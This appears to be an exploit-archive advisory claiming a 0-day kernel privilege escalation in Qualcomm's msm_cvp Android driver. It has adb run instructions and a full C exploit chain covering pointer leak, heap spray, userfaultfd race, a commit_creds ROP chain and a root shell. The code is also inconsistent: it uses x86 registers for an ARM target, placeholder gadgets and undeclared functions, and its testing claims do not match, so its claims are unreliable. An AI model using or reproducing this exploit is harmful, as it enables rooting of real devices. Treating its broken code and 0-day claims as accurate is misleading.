=============================================================================================================================================
| # Title     : Qualcomm CVP Kernel Driver Pointer Disclosure Leading to Local Privilege Escalation 0-day                                   |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://qualcomm.com/                                                                                                       |
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[+] References : 

[+] Summary    : This advisory describes a local privilege escalation (LPE) vulnerability affecting the Qualcomm CVP kernel driver (msm_cvp), 
                 exposed through the /dev/cvp device node on Android systems using Qualcomm SoCs.
                 The vulnerability originates from an improperly obfuscated kernel pointer returned to user space as a session_id via the msm_cvp_get_session_info ioctl. 
				 The driver relies on hash32_ptr(), which merely XORs the upper and lower halves of a kernel pointer rather than applying a cryptographically secure transformation. 
				 As a result, the original kmalloc kernel address can be reconstructed, leading to a reliable kernel pointer disclosure and KASLR bypass.
                 The leaked kernel address can be deterministically chained with additional exploitation primitives—such as heap spraying, use-after-free (UAF) conditions, 
				 controlled reallocation, and userfaultfd-based race timing—to achieve arbitrary kernel control flow. 
				 The exploit ultimately executes a ROP chain invoking prepare_kernel_cred(0) and commit_creds(), resulting in root privilege escalation.

[+] This vulnerability:

Requires local user access

Has no remote attack surface

Affects kernel space, not a userland application

Represents a full LPE chain, not just an information leak

At the time of writing, no public patch or mitigation is known, classifying this issue as a 0-day.

[+] Classification

Vulnerability Type: Kernel Pointer Disclosure → Local Privilege Escalation

Attack Vector: Local

Impact: Kernel ASLR bypass → Full root compromise

Affected Component: Qualcomm CVP kernel driver (msm_cvp)

Device Interface: /dev/cvp

Platform: Android (Qualcomm-based devices)

[+] Usage :

# 1. Compile the exploit : make

# 2. Upload it to the machine : adb push cvp_full_exploit /data/local/tmp/

# 3. Run it

adb shell
cd /data/local/tmp
chmod +x cvp_full_exploit
./cvp_full_exploit

# 4. If the exploit is successful :  whoami  should display: root

[+] POC :

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sched.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/shm.h>

#define DEVICE_PATH "/dev/cvp"
#define MAX_SESSIONS 512
#define SPRAY_COUNT 1024

struct session_control_arg {
    uint32_t type;
    uint32_t ctrl_type;
    uint32_t session_id;
    uint32_t reserved;
    uint64_t data_ptr;
};

struct kernel_info {
    uint64_t kernel_base;
    uint64_t prepare_creds;
    uint64_t commit_creds;
    uint64_t native_write_cr4;
    uint64_t swapgs_restore_regs_and_return_to_usermode;
    uint64_t *leaked_pointers;
    int pointer_count;
};

struct pointer_leaker {
    int fd;
    uint32_t session_ids[MAX_SESSIONS];
    uint64_t kernel_pointers[MAX_SESSIONS];
    int count;
};

uint64_t unfold_kernel_pointer(uint32_t session_id) {

    uint8_t high_byte = (session_id & 0xF) | 0x80;
    uint32_t top_half = 0xFFFFFF00 | high_byte;

    uint32_t bottom_half = session_id ^ (top_half & 0xFFFFFFFF);

    uint64_t ptr = ((uint64_t)top_half << 32) | bottom_half;

    ptr = ptr & ~0xFULL;
    
    return ptr;
}

int leak_kernel_pointers(struct pointer_leaker *leaker) {
    leaker->fd = open(DEVICE_PATH, O_RDWR);
    if (leaker->fd < 0) {
        perror("[-] Failed to open device");
        return -1;
    }
    
    printf("[+] Device opened successfully\n");

    for (int i = 0; i < MAX_SESSIONS; i++) {
        struct session_control_arg create_arg = {
            .type = 1,  // EVA_KMD_SESSION_CONTROL
            .ctrl_type = 1,  // SESSION_CREATE
        };
        
        if (ioctl(leaker->fd, 0, &create_arg) < 0) {
            printf("[-] Failed to create session %d\n", i);
            break;
        }

        struct session_control_arg info_arg = {
            .type = 2,  // EVA_KMD_GET_SESSION_INFO
        };
        
        if (ioctl(leaker->fd, 0, &info_arg) < 0) {
            printf("[-] Failed to get session info %d\n", i);
            break;
        }
        
        leaker->session_ids[leaker->count] = info_arg.session_id;
        leaker->kernel_pointers[leaker->count] = 
            unfold_kernel_pointer(info_arg.session_id);
        leaker->count++;
        
        if (i % 50 == 0) {
            printf("[+] Created %d sessions...\n", i);
        }
    }
    
    printf("[+] Total sessions created: %d\n", leaker->count);
    return 0;
}

uint64_t find_kernel_base(struct pointer_leaker *leaker) {
    uint64_t candidates[10] = {0};
    int candidate_count = 0;
    
    for (int i = 0; i < leaker->count; i++) {
        uint64_t ptr = leaker->kernel_pointers[i];

        for (int shift = 12; shift <= 24; shift += 12) {
            uint64_t base_candidate = ptr & (0xFFFFFFFFFFFF0000ULL << shift);

            if ((base_candidate >> 47) == 1) {  // Kernel addresses have MSB set
                int found = 0;
                for (int j = 0; j < candidate_count; j++) {
                    if (candidates[j] == base_candidate) {
                        found = 1;
                        break;
                    }
                }
                
                if (!found && candidate_count < 10) {
                    candidates[candidate_count++] = base_candidate;
                }
            }
        }
    }

    if (candidate_count > 0) {
        printf("[+] Possible kernel bases found:\n");
        for (int i = 0; i < candidate_count; i++) {
            printf("    Candidate %d: 0x%016lx\n", i, candidates[i]);
        }
        return candidates[0];
    }
    
    return 0;
}

struct heap_sprayer {
    int spray_fds[SPRAY_COUNT];
    int spray_count;
};

int setup_heap_spray(struct heap_sprayer *sprayer) {
    printf("[+] Setting up heap spray...\n");

    for (int i = 0; i < SPRAY_COUNT; i++) {
        sprayer->spray_fds[i] = open(DEVICE_PATH, O_RDWR);
        if (sprayer->spray_fds[i] < 0) {
            break;
        }
        sprayer->spray_count++;

        for (int j = 0; j < 10; j++) {
            struct session_control_arg arg = {
                .type = 1,
                .ctrl_type = 1,
            };
            ioctl(sprayer->spray_fds[i], 0, &arg);
        }
    }
    
    printf("[+] Heap spray created with %d file descriptors\n", sprayer->spray_count);
    return sprayer->spray_count;
}

struct uaf_exploiter {
    int target_fd;
    uint64_t target_object_addr;
    uint64_t fake_object[64];
    pthread_t thread;
    int ready;
};

struct kernel_symbols {
    uint64_t prepare_kernel_cred;
    uint64_t commit_creds;
    uint64_t init_cred;
    uint64_t swapgs_restore_regs_and_return_to_usermode;
    uint64_t native_write_cr4;
};

int calculate_symbols(uint64_t kernel_base, struct kernel_symbols *syms) {

    syms->prepare_kernel_cred = kernel_base + 0x9c8e0;
    syms->commit_creds = kernel_base + 0x9c840;
    syms->init_cred = kernel_base + 0x1814b80;
    syms->swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xe00f10;
    syms->native_write_cr4 = kernel_base + 0x4a7b0;
    
    printf("[+] Calculated symbols:\n");
    printf("    prepare_kernel_cred: 0x%016lx\n", syms->prepare_kernel_cred);
    printf("    commit_creds: 0x%016lx\n", syms->commit_creds);
    printf("    init_cred: 0x%016lx\n", syms->init_cred);
    
    return 0;
}

void build_rop_chain(uint64_t *rop, struct kernel_symbols *syms) {
    int i = 0;
    
    
    rop[i++] = syms->prepare_kernel_cred;  // rax = prepare_kernel_cred(0)
    rop[i++] = 0xdeadbeef;  // pop rdi; ret
    rop[i++] = 0;           // arg0 = 0
    rop[i++] = 0xcafebabe;  // mov rdi, rax; call commit_creds
    
    rop[i++] = syms->commit_creds;         // commit_creds(rax)
    rop[i++] = syms->swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;  // dummy
    rop[i++] = 0;  // dummy
    rop[i++] = (uint64_t)get_root_shell;  // return address
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
}

static int page_size;
static char *fault_page;
static int uffd;
static volatile int fault_triggered = 0;

void *uffd_handler_thread(void *arg) {
    struct uffd_msg msg;
    struct pollfd pollfd;
    int ret;
    
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    
    printf("[+] UFFD thread started\n");
    
    while (1) {
        ret = poll(&pollfd, 1, -1);
        if (ret < 0) {
            perror("poll");
            break;
        }
        
        ret = read(uffd, &msg, sizeof(msg));
        if (ret < 0) {
            perror("read uffd");
            break;
        }
        
        if (msg.event == UFFD_EVENT_PAGEFAULT) {
            fault_triggered = 1;
            printf("[+] Page fault triggered! Control gained\n");
            
            struct uffdio_copy copy;
            copy.src = (unsigned long)fault_page;
            copy.dst = msg.arg.pagefault.address & ~(page_size - 1);
            copy.len = page_size;
            copy.mode = 0;
            
            if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
                perror("UFFDIO_COPY");
            }
            
            break;
        }
    }
    
    return NULL;
}

int setup_userfaultfd(void *addr) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    pthread_t thread;
    
    page_size = sysconf(_SC_PAGE_SIZE);
    
    // إنشاء userfaultfd
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd < 0) {
        perror("userfaultfd");
        return -1;
    }
    
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) {
        perror("UFFDIO_API");
        return -1;
    }
    
    fault_page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (fault_page == MAP_FAILED) {
        perror("mmap fault page");
        return -1;
    }
    
    memset(fault_page, 0x41, page_size);  

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = page_size;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) {
        perror("UFFDIO_REGISTER");
        return -1;
    }

    if (pthread_create(&thread, NULL, uffd_handler_thread, NULL) < 0) {
        perror("pthread_create");
        return -1;
    }
    
    return 0;
}

static void get_root_shell(void) {
    printf("[+] Got root privileges!\n");
    
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};

    if (getuid() == 0) {
        printf("[+] Spawning root shell...\n");
        execve("/bin/sh", argv, envp);
    } else {
        printf("[-] Failed to get root\n");
    }
}

uint64_t user_cs, user_ss, user_rflags, user_sp;

static void save_state(void) {
    asm volatile(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        :
        : "memory"
    );
}

int main(int argc, char *argv[]) {
    printf("\n==================================================\n");
    printf(" CVE-2025-47369 Full Chain Exploit by indoushka\n");
    printf(" Kernel Pointer Leak to Root Privilege Escalation\n");
    printf("==================================================\n\n");
    
    save_state();

    printf("[*] Phase 1: Leaking Kernel Pointers\n");
    printf("====================================\n");
    
    struct pointer_leaker leaker = {0};
    if (leak_kernel_pointers(&leaker) < 0) {
        printf("[-] Failed to leak pointers\n");
        return -1;
    }

    uint64_t kernel_base = find_kernel_base(&leaker);
    if (!kernel_base) {
        printf("[-] Failed to find kernel base\n");
        return -1;
    }
    
    printf("[+] Kernel base: 0x%016lx\n", kernel_base);
    printf("[+] Leaked %d kernel pointers\n", leaker.count);

    for (int i = 0; i < 10 && i < leaker.count; i++) {
        printf("    Pointer %d: 0x%016lx (session_id: 0x%08x)\n",
               i, leaker.kernel_pointers[i], leaker.session_ids[i]);
    }

    printf("\n[*] Phase 2: Calculating Kernel Symbols\n");
    printf("=======================================\n");
    
    struct kernel_symbols syms;
    calculate_symbols(kernel_base, &syms);

    printf("\n[*] Phase 3: Heap Manipulation\n");
    printf("================================\n");
    
    struct heap_sprayer sprayer = {0};
    setup_heap_spray(&sprayer);

    printf("\n[*] Phase 4: Setting up Userfaultfd\n");
    printf("=====================================\n");
    
    void *uffd_region = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (uffd_region == MAP_FAILED) {
        perror("mmap uffd region");
        return -1;
    }
    
    if (setup_userfaultfd(uffd_region) < 0) {
        printf("[-] Failed to setup userfaultfd\n");
    } else {
        printf("[+] Userfaultfd setup completed\n");
    }

    printf("\n[*] Phase 5: Building ROP Chain\n");
    printf("================================\n");
    
    uint64_t rop_chain[64] = {0};
    build_rop_chain(rop_chain, &syms);

    printf("\n[*] Phase 6: Triggering Exploit\n");
    printf("================================\n");
    
    printf("[+] Attempting to trigger UAF...\n");

    for (int i = 0; i < leaker.count; i++) {
        struct session_control_arg close_arg = {
            .type = 1,
            .ctrl_type = 2,  
            .session_id = leaker.session_ids[i],
        };
        
        ioctl(leaker.fd, 0, &close_arg);

        usleep(1000);
    }
    
    printf("[+] Attempting to reallocate memory with controlled data...\n");

    char fake_obj[1024] = {0};
    memset(fake_obj, 0x42, sizeof(fake_obj));

    memcpy(fake_obj + 0x100, rop_chain, sizeof(rop_chain));
    
    printf("[+] Waiting for race condition...\n");

    pthread_t threads[10];
    for (int i = 0; i < 10; i++) {
        pthread_create(&threads[i], NULL, race_thread, &leaker);
    }

    sleep(2);

    printf("\n[*] Phase 7: Executing Privilege Escalation\n");
    printf("===========================================\n");
    
    printf("[+] If exploit succeeded, root shell should spawn...\n");

    if (getuid() == 0) {
        printf("[+] SUCCESS: Got root privileges!\n");
        get_root_shell();
    } else {
        printf("[-] Exploit failed or partial success\n");
        printf("[-] Current UID: %d\n", getuid());
    }

    close(leaker.fd);
    for (int i = 0; i < sprayer.spray_count; i++) {
        close(sprayer.spray_fds[i]);
    }
    
    return 0;
}

void *race_thread(void *arg) {
    struct pointer_leaker *leaker = (struct pointer_leaker *)arg;
    
    while (1) {

        struct session_control_arg dummy_arg = {
            .type = 1,
            .ctrl_type = 3,  
        };
        
        ioctl(leaker->fd, 0, &dummy_arg);
        sched_yield();
    }
    
    return NULL;
}
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
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